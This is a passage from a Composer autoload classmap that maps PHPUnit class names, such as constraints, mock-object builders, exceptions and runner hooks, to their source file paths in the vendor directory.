'/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareParameterTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotExistException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php', 'PHPUnit\\Framework\\Constraint\\ArrayHasKey' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php', 'PHPUnit\\Framework\\Constraint\\BinaryOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php', 'PHPUnit\\Framework\\Constraint\\Callback' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Callback.php', 'PHPUnit\\Framework\\Constraint\\ClassHasAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php', 'PHPUnit\\Framework\\Constraint\\ClassHasStaticAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php', 'PHPUnit\\Framework\\Constraint\\Constraint' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Constraint.php', 'PHPUnit\\Framework\\Constraint\\Count' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php', 'PHPUnit\\Framework\\Constraint\\DirectoryExists' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php', 'PHPUnit\\Framework\\Constraint\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php', 'PHPUnit\\Framework\\Constraint\\ExceptionCode' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php', 'PHPUnit\\Framework\\Constraint\\ExceptionMessage' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php', 'PHPUnit\\Framework\\Constraint\\ExceptionMessageRegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php', 'PHPUnit\\Framework\\Constraint\\FileExists' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php', 'PHPUnit\\Framework\\Constraint\\GreaterThan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php', 'PHPUnit\\Framework\\Constraint\\IsAnything' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/IsAnything.php', 'PHPUnit\\Framework\\Constraint\\IsEmpty' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php', 'PHPUnit\\Framework\\Constraint\\IsEqual' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php', 'PHPUnit\\Framework\\Constraint\\IsEqualCanonicalizing' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php', 'PHPUnit\\Framework\\Constraint\\IsEqualIgnoringCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php', 'PHPUnit\\Framework\\Constraint\\IsEqualWithDelta' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php', 'PHPUnit\\Framework\\Constraint\\IsFalse' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php', 'PHPUnit\\Framework\\Constraint\\IsFinite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php', 'PHPUnit\\Framework\\Constraint\\IsIdentical' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php', 'PHPUnit\\Framework\\Constraint\\IsInfinite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php', 'PHPUnit\\Framework\\Constraint\\IsInstanceOf' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php', 'PHPUnit\\Framework\\Constraint\\IsJson' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php', 'PHPUnit\\Framework\\Constraint\\IsNan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php', 'PHPUnit\\Framework\\Constraint\\IsNull' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php', 'PHPUnit\\Framework\\Constraint\\IsReadable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php', 'PHPUnit\\Framework\\Constraint\\IsTrue' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php', 'PHPUnit\\Framework\\Constraint\\IsType' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php', 'PHPUnit\\Framework\\Constraint\\IsWritable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php', 'PHPUnit\\Framework\\Constraint\\JsonMatches' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php', 'PHPUnit\\Framework\\Constraint\\JsonMatchesErrorMessageProvider' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php', 'PHPUnit\\Framework\\Constraint\\LessThan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php', 'PHPUnit\\Framework\\Constraint\\LogicalAnd' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php', 'PHPUnit\\Framework\\Constraint\\LogicalNot' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php', 'PHPUnit\\Framework\\Constraint\\LogicalOr' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php', 'PHPUnit\\Framework\\Constraint\\LogicalXor' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php', 'PHPUnit\\Framework\\Constraint\\ObjectEquals' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php', 'PHPUnit\\Framework\\Constraint\\ObjectHasAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php', 'PHPUnit\\Framework\\Constraint\\Operator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php', 'PHPUnit\\Framework\\Constraint\\RegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php', 'PHPUnit\\Framework\\Constraint\\SameSize' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php', 'PHPUnit\\Framework\\Constraint\\StringContains' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php', 'PHPUnit\\Framework\\Constraint\\StringEndsWith' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php', 'PHPUnit\\Framework\\Constraint\\StringMatchesFormatDescription' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php', 'PHPUnit\\Framework\\Constraint\\StringStartsWith' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php', 'PHPUnit\\Framework\\Constraint\\TraversableContains' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsEqual' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsIdentical' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsOnly' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php', 'PHPUnit\\Framework\\Constraint\\UnaryOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php', 'PHPUnit\\Framework\\CoveredCodeNotExecutedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php', 'PHPUnit\\Framework\\DataProviderTestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/DataProviderTestSuite.php', 'PHPUnit\\Framework\\Error' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Error.php', 'PHPUnit\\Framework\\ErrorTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ErrorTestCase.php', 'PHPUnit\\Framework\\Error\\Deprecated' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Deprecated.php', 'PHPUnit\\Framework\\Error\\Error' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Error.php', 'PHPUnit\\Framework\\Error\\Notice' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Notice.php', 'PHPUnit\\Framework\\Error\\Warning' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Warning.php', 'PHPUnit\\Framework\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Exception.php', 'PHPUnit\\Framework\\ExceptionWrapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ExceptionWrapper.php', 'PHPUnit\\Framework\\ExecutionOrderDependency' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php', 'PHPUnit\\Framework\\ExpectationFailedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php', 'PHPUnit\\Framework\\IncompleteTest' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/IncompleteTest.php', 'PHPUnit\\Framework\\IncompleteTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/IncompleteTestCase.php', 'PHPUnit\\Framework\\IncompleteTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php', 'PHPUnit\\Framework\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php', 'PHPUnit\\Framework\\InvalidCoversTargetException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php', 'PHPUnit\\Framework\\InvalidDataProviderException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php', 'PHPUnit\\Framework\\InvalidParameterGroupException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php', 'PHPUnit\\Framework\\MissingCoversAnnotationException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php', 'PHPUnit\\Framework\\MockObject\\Api' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Api/Api.php', 'PHPUnit\\Framework\\MockObject\\BadMethodCallException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php', 'PHPUnit\\Framework\\MockObject\\Builder\\Identity' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php', 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationMocker' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php', 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationStubber' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php', 'PHPUnit\\Framework\\MockObject\\Builder\\MethodNameMatch' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php', 'PHPUnit\\Framework\\MockObject\\Builder\\ParametersMatch' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php', 'PHPUnit\\Framework\\MockObject\\Builder\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php', 'PHPUnit\\Framework\\MockObject\\CannotUseAddMethodsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php', 'PHPUnit\\Framework\\MockObject\\CannotUseOnlyMethodsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php', 'PHPUnit\\Framework\\MockObject\\ClassAlreadyExistsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php', 'PHPUnit\\Framework\\MockObject\\ClassIsFinalException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php', 'PHPUnit\\Framework\\MockObject\\ConfigurableMethod' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php', 'PHPUnit\\Framework\\MockObject\\ConfigurableMethodsAlreadyInitializedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php', 'PHPUnit\\Framework\\MockObject\\DuplicateMethodException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php', 'PHPUnit\\Framework\\MockObject\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php', 'PHPUnit\\Framework\\MockObject\\Generator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Generator.php', 'PHPUnit\\Framework\\MockObject\\IncompatibleReturnValueException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php', 'PHPUnit\\Framework\\MockObject\\InvalidMethodNameException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php', 'PHPUnit\\Framework\\MockObject\\Invocation' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Invocation.php', 'PHPUnit\\Framework\\MockObject\\InvocationHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php', 'PHPUnit\\Framework\\MockObject\\MatchBuilderNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php', 'PHPUnit\\Framework\\MockObject\\Matcher' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Matcher.php', 'PHPUnit\\Framework\\MockObject\\MatcherAlreadyRegisteredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php', 'PHPUnit\\Framework\\MockObject\\Method' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Api/Method.php', 'PHPUnit\\Framework\\MockObject\\MethodCannotBeConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodNameAlreadyConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodNameConstraint' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php', 'PHPUnit\\Framework\\MockObject\\MethodNameNotConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodParametersAlreadyConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MockBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php', 'PHPUnit\\Framework\\MockObject\\MockClass' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockClass.php', 'PHPUnit\\Framework\\MockObject\\MockMethod' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockMethod.php', 'PHPUnit\\Framework\\MockObject\\MockMethodSet' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php', 'PHPUnit\\Framework\\MockObject\\MockObject' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockObject.php', 'PHPUnit\\Framework\\MockObject\\MockTrait' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockTrait.php', 'PHPUnit\\Framework\\MockObject\\MockType' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockType.php', 'PHPUnit\\Framework\\MockObject\\OriginalConstructorInvocationRequiredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php', 'PHPUnit\\Framework\\MockObject\\ReflectionException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php', 'PHPUnit\\Framework\\MockObject\\ReturnValueNotConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\Rule\\AnyInvokedCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\AnyParameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\ConsecutiveParameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvocationOrder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtIndex' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastOnce' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtMostCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\MethodName' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php', 'PHPUnit\\Framework\\MockObject\\Rule\\Parameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\ParametersRule' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php', 'PHPUnit\\Framework\\MockObject\\RuntimeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php', 'PHPUnit\\Framework\\MockObject\\SoapExtensionNotAvailableException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php', 'PHPUnit\\Framework\\MockObject\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ConsecutiveCalls' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php', 'PHPUnit\\Framework\\MockObject\\Stub\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnArgument' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnReference' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnSelf' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnStub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnValueMap' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php', 'PHPUnit\\Framework\\MockObject\\Stub\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php', 'PHPUnit\\Framework\\MockObject\\UnknownClassException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php', 'PHPUnit\\Framework\\MockObject\\UnknownTraitException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php', 'PHPUnit\\Framework\\MockObject\\UnknownTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php', 'PHPUnit\\Framework\\MockObject\\Verifiable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Verifiable.php', 'PHPUnit\\Framework\\NoChildTestSuiteException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php', 'PHPUnit\\Framework\\OutputError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/OutputError.php', 'PHPUnit\\Framework\\PHPTAssertionFailedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php', 'PHPUnit\\Framework\\Reorderable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Reorderable.php', 'PHPUnit\\Framework\\RiskyTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php', 'PHPUnit\\Framework\\SelfDescribing' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SelfDescribing.php', 'PHPUnit\\Framework\\SkippedTest' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SkippedTest.php', 'PHPUnit\\Framework\\SkippedTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SkippedTestCase.php', 'PHPUnit\\Framework\\SkippedTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php', 'PHPUnit\\Framework\\SkippedTestSuiteError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php', 'PHPUnit\\Framework\\SyntheticError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SyntheticError.php', 'PHPUnit\\Framework\\SyntheticSkippedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php', 'PHPUnit\\Framework\\Test' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Test.php', 'PHPUnit\\Framework\\TestBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestBuilder.php', 'PHPUnit\\Framework\\TestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestCase.php', 'PHPUnit\\Framework\\TestFailure' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestFailure.php', 'PHPUnit\\Framework\\TestListener' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestListener.php', 'PHPUnit\\Framework\\TestListenerDefaultImplementation' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php', 'PHPUnit\\Framework\\TestResult' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestResult.php', 'PHPUnit\\Framework\\TestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestSuite.php', 'PHPUnit\\Framework\\TestSuiteIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/TestSuiteIterator.php', 'PHPUnit\\Framework\\UnintentionallyCoveredCodeError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php', 'PHPUnit\\Framework\\Warning' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Warning.php', 'PHPUnit\\Framework\\WarningTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/WarningTestCase.php', 'PHPUnit\\Runner\\AfterIncompleteTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php', 'PHPUnit\\Runner\\AfterLastTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php', 'PHPUnit\\Runner\\AfterRiskyTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php', 'PHPUnit\\Runner\\AfterSkippedTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php', 'PHPUnit\\Runner\\AfterSuccessfulTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php', 'PHPUnit\\Runner\\AfterTestErrorHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php', 'PHPUnit\\Runner\\AfterTestFailureHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php', 'PHPUnit\\Runner\\AfterTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php', 'PHPUnit\\Runner\\AfterTestWarningHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php', 'PHPUnit\\Runner\\BaseTestRunner' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/BaseTestRunner.php', 'PHPUnit\\Runner\\BeforeFirstTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php', 'PHPUnit\\Runner\\BeforeTestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php', 'PHPUnit\\Runner\\DefaultTestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/DefaultTestResultCache.php', 'PHPUnit\\Runner\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Exception.php', 'PHPUnit\\Runner\\Extension\\ExtensionHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php', 'PHPUnit\\Runner\\Extension\\PharLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Extension/PharLoader.php', 'PHPUnit\\Runner\\Filter\\ExcludeGroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\Factory' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/Factory.php', 'PHPUnit\\Runner\\Filter\\GroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\IncludeGroupFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\NameFilterIterator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php', 'PHPUnit\\Runner\\Hook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/Hook.php', 'PHPUnit\\Runner\\NullTestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/NullTestResultCache.php', 'PHPUnit\\Runner\\PhptTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/PhptTestCase.php', 'PHPUnit\\Runner\\ResultCacheExtension' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/ResultCacheExtension.php', 'PHPUnit\\Runner\\StandardTestSuiteLoader' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php', 'PHPUnit\\Runner\\TestHook' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/TestHook.php', 'PHPUnit\\Runner\\TestListenerAdapter' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php', 'PHPUnit\\Runner\\TestResultCache' => __DIR__ . '/..' . '/phpunit/phpunit/src/Runner/TestResultCache.php', 